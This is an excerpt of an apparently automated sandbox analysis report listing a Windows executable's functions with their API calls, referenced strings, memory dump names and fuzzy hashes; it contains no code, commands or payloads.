Function 00B3D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00B3D86C
GetDC.USER32(00000000), ref: 00B3D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00B3D882
ReleaseDC.USER32(?), ref: 00B3D8A3

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 0f982a2f76a456d0e0aa99f406d3550b1af02276e0371d4c792dce586b20ecd9
Instruction ID: 9771276dd3e24900a7f1d54707497a509ce36ec88ffaabc5671922f3c814a090
Opcode Fuzzy Hash: 0f982a2f76a456d0e0aa99f406d3550b1af02276e0371d4c792dce586b20ecd9
Instruction Fuzzy Hash: E6E092B5800204EFCB51AFA1D94866DBFB6BB08311B14844DF95AE7260DB389982EF50

Function 00B54D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE7620: _wcslen.LIBCMT ref: 00AE7625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00B54ED4

Strings

*, xrefs: 00B54E10
LPT, xrefs: 00B54DFB

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 54f4cdc0ec816b0c3e59d6cf0613329d4399d6f4b73f85bfeef3b3386e5304a1
Instruction ID: 411ea86b3a12d4fa3c808e157ba9bd31259e8d6ee3d92283c941e9661b7a9bc8
Opcode Fuzzy Hash: 54f4cdc0ec816b0c3e59d6cf0613329d4399d6f4b73f85bfeef3b3386e5304a1
Instruction Fuzzy Hash: 499140759002449FCB14DF58C585EAABBF1EF44309F1880D9E80A5F3A2D735ED89CB91

Function 00B0E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00B0E30D

Strings

pow, xrefs: 00B0E2E5, 00B0E302

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: a27b4f6f0232adff146d9dcb1042563f74c44cc8d6c96b60361c7bdbd9cb68ba
Instruction ID: bbe99c242d862ef3ca11baec94251f1944ed124e55bf847390caf0548d003484
Opcode Fuzzy Hash: a27b4f6f0232adff146d9dcb1042563f74c44cc8d6c96b60361c7bdbd9cb68ba
Instruction Fuzzy Hash: 635128B1A4C20696CB167718D9417BA2FF8EB40740FB44DE8E0A5832E9DF34CCD5DA86

Function 00AFE187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 00AFE1B1

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 66a93f8e92d922156e502f7b60930d8d7d3bf5ccbf7d636ff411c821a1b12a9f
Instruction ID: 4ed80077657ee0de883884a65ab0ff3d189221e94703c7b24e3b88ca6bbb6e96
Opcode Fuzzy Hash: 66a93f8e92d922156e502f7b60930d8d7d3bf5ccbf7d636ff411c821a1b12a9f
Instruction Fuzzy Hash: 4651D27590424ADFDF15DF68C4816FA7BE4EF55310F244096F961AB2E0EA34DD42CB50

Function 00AFF291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00AFF2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 00AFF2BB

Strings

@, xrefs: 00AFF2AF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: e946ff25baf724d59d84833e6e51f9a620ae3fb91596f7c9c26a01086988111d
Instruction ID: 697a86877f6a4c93110f973c3683fd0690b5634b1ddc27e3972a4287c2f4ec15
Opcode Fuzzy Hash: e946ff25baf724d59d84833e6e51f9a620ae3fb91596f7c9c26a01086988111d
Instruction Fuzzy Hash: 625156714087859BD320AF15ED86BAFBBF8FF84310F81885DF1D9421A5EB318529CB66

Function 00B65745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 00B657E0
_wcslen.LIBCMT ref: 00B657EC

Strings

CALLARGARRAY, xrefs: 00B657E6, 00B657EB

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: cc1117a86721d926578f1a2ac288079fe5743b6d553ef1df2e6e253d747b3efb
Instruction ID: a54978fb84990a85b110fb2ba79d2ca28090de0c05dc29fc111714c5dc7b00d4
Opcode Fuzzy Hash: cc1117a86721d926578f1a2ac288079fe5743b6d553ef1df2e6e253d747b3efb
Instruction Fuzzy Hash: F4418E71A002099FCB24DFA9C9819FEBBF5FF59320F1040A9E505A7252EB349D91CBA0

Function 00B5D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B5D130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00B5D13A

Strings

|, xrefs: 00B5D10B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: 7fd248c344288ae49c12ae94589fc84a28d54dbebcd004b60f101e37791a846a
Instruction ID: 0eadfebc7ab5ea3e70e313ed31a12bee1f7aa9fd17b2360e86d681d0b75607a1
Opcode Fuzzy Hash: 7fd248c344288ae49c12ae94589fc84a28d54dbebcd004b60f101e37791a846a
Instruction Fuzzy Hash: BE313D71D00249ABCF15EFA5CD85AEE7FB9FF18340F000199F815B6161DB31AA46CB60

Function 00B7356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00B73621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00B7365C

Strings

static, xrefs: 00B735BC

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 5486755dface2a60a3ab64ef35e51ff4555d24dc4ced7ef6bf332ae21c7b6de7
Instruction ID: 20ce5fd385716bb204153e0d5f9c973cc5dfe6b8423dfe96ea215dbee209767d
Opcode Fuzzy Hash: 5486755dface2a60a3ab64ef35e51ff4555d24dc4ced7ef6bf332ae21c7b6de7
Instruction Fuzzy Hash: 10318B71100204AADB109F68DC80EBB77E9FF98B20F10C61DF9A997290DA31ED81D760

Function 00B74537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00B7461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00B74634

Strings

', xrefs: 00B7458E

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: a07d4ea3e9ff98058ecd2cde848f1425b8053a1924c97539b00c05f788b60acc
Instruction ID: ce4a9d8898cbf64b3c1cab80febf122e5b3c76de97e2c6deb2baf1bb779eb7f9
Opcode Fuzzy Hash: a07d4ea3e9ff98058ecd2cde848f1425b8053a1924c97539b00c05f788b60acc
Instruction Fuzzy Hash: 6A311674A002099FDF14CFA9C990ADA7BF5FB19301F1084AAE918AB351D770E941CF90

Function 00B731EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00B7327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B73287

Strings

Combobox, xrefs: 00B73249

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 350ac5a1074ea2abedfdf91aa4737b2dc21de9bde8919604f6c3961abe51ad92
Instruction ID: 44f8ed2872717f424390fcc142d610fb27ec81665aa096e501dbcf964d7ffca1
Opcode Fuzzy Hash: 350ac5a1074ea2abedfdf91aa4737b2dc21de9bde8919604f6c3961abe51ad92
Instruction Fuzzy Hash: 6611E2713002087FEF219E54DC84EBB3BEAEB987A4F108568F92CA7291D631DD519760

Function 00B73710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00AE600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00AE604C
Part of subcall function 00AE600E: GetStockObject.GDI32(00000011), ref: 00AE6060
Part of subcall function 00AE600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00AE606A

GetWindowRect.USER32(00000000,?), ref: 00B7377A
GetSysColor.USER32(00000012), ref: 00B73794

Strings

static, xrefs: 00B73757

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: dd1536990d16951b74b50bbea290a9354dd73ffba9dddf1825dd341c56f43860
Instruction ID: 4127812fb80966a9e5b5ab843b92c9c7a9be4348f4f40a342e2cf94f7327b538
Opcode Fuzzy Hash: dd1536990d16951b74b50bbea290a9354dd73ffba9dddf1825dd341c56f43860
Instruction Fuzzy Hash: 251129B2610209AFDB00DFA8CC46EEA7BF8FB08754F008958F969E3250DB75E9519B50

Function 00B5CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00B5CD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00B5CDA6

Strings

<local>, xrefs: 00B5CD66

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 44b1428796f09a8024f878d7e5b9740af2eb6363e2b5732a665a6c8867fa4911
Instruction ID: c4b36daff495272af939e1bed2990bef5ba9ddf0b1e5b70a5f5e23e645227974
Opcode Fuzzy Hash: 44b1428796f09a8024f878d7e5b9740af2eb6363e2b5732a665a6c8867fa4911
Instruction Fuzzy Hash: 6011A3712057357ED7284A668C85FE7BEFAEB127A5F1042FAB919C30D0D6609848D6F0

Function 00B73429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00B734AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00B734BA

Strings

edit, xrefs: 00B7348F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: f7940b44818ac692888e84af6b0732277bff661b4a7f02bddba8b49803249b2f
Instruction ID: 1a376d54bdd92e56acd5c3d331296d6ce612030ebf09230283d22aa9757d3c63
Opcode Fuzzy Hash: f7940b44818ac692888e84af6b0732277bff661b4a7f02bddba8b49803249b2f
Instruction Fuzzy Hash: B011BF71100108ABEB164E64DC84AAB3BEAEB14B74F508768FA79932E0C771DC91A750

Function 00B46C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

CharUpperBuffW.USER32(?,?,?), ref: 00B46CB6
_wcslen.LIBCMT ref: 00B46CC2

Strings

STOP, xrefs: 00B46CBC, 00B46CC1

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 471026ac3d69b51c24df025498b78e86f94447d31bf745fe7d612a3c5c7bd865
Instruction ID: dc99be29cf8dd29084a18ad401bef17824d8b67b2757cd16ba7318176e58ec07
Opcode Fuzzy Hash: 471026ac3d69b51c24df025498b78e86f94447d31bf745fe7d612a3c5c7bd865
Instruction Fuzzy Hash: EB01C032A0052A9ACB20AFBEDCC09BF77E5EF6271475009B8E86297191EB31DE40D651

Function 00B41CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

Part of subcall function 00B43CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00B43CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00B41D4C

Strings

ComboBox, xrefs: 00B41CEB
ListBox, xrefs: 00B41D16

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 7a781c1d6b6091e78968486fd65bbd7afea00e391849935a8c9f723892ec587e
Instruction ID: d1de47f4994a19a78d4116a0d4cedb2733112e0680b6798139c934c14e9a3e9a
Opcode Fuzzy Hash: 7a781c1d6b6091e78968486fd65bbd7afea00e391849935a8c9f723892ec587e
Instruction Fuzzy Hash: EC012871E00318AB8B14FFA8CD91DFF73E8EB42350B140959F822672D1EA305A489660

Function 00B41BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

Part of subcall function 00B43CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00B43CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00B41C46

Strings

ComboBox, xrefs: 00B41BE5
ListBox, xrefs: 00B41C10

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: c35ce9b5ec9b14281e10df39704f2875fb8c12c69d64c32652ef7581056ccbad
Instruction ID: 807755a4b0451d16d966fb2296021bf887d0db6e3e3db1cfea17cd0306de01e8
Opcode Fuzzy Hash: c35ce9b5ec9b14281e10df39704f2875fb8c12c69d64c32652ef7581056ccbad
Instruction Fuzzy Hash: 5D01F771A802186ACB14FB94CED1AFF77E8DB12340F140459A80667293EA209F4896B1

Function 00B41C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

Part of subcall function 00B43CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00B43CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00B41CC8

Strings

ComboBox, xrefs: 00B41C69
ListBox, xrefs: 00B41C94

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 63dbd29ee788d5d5ec32f273359228483649569f6ab87dcdce6a76133b076020
Instruction ID: 8b759d719eb62ed3388679f0a5736f5510313431b2f0fdcc820cd95cff3d1c1a
Opcode Fuzzy Hash: 63dbd29ee788d5d5ec32f273359228483649569f6ab87dcdce6a76133b076020
Instruction Fuzzy Hash: A301D671A802186BCB14FBA5CF81AFF77E8DB12340F540459B80277293FA209F49E672

Function 00B41D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

Part of subcall function 00B43CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00B43CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00B41DD3

Strings

ComboBox, xrefs: 00B41D75
ListBox, xrefs: 00B41DA0

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: b25b51ab1a2b8eee550953897ee62f25a8efb6e0a8d3214ff4c6d395aec66792
Instruction ID: 9190cb0441cb9fc4b0307a9f2989f41386ee4ae0775b30dd1d21c5df1f9273dd
Opcode Fuzzy Hash: b25b51ab1a2b8eee550953897ee62f25a8efb6e0a8d3214ff4c6d395aec66792
Instruction Fuzzy Hash: 0EF0F971F4131466C714F7A5CD91BFF77E8EB02340F440D59B822632D2EA605B489270

Function 00B6747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B67493
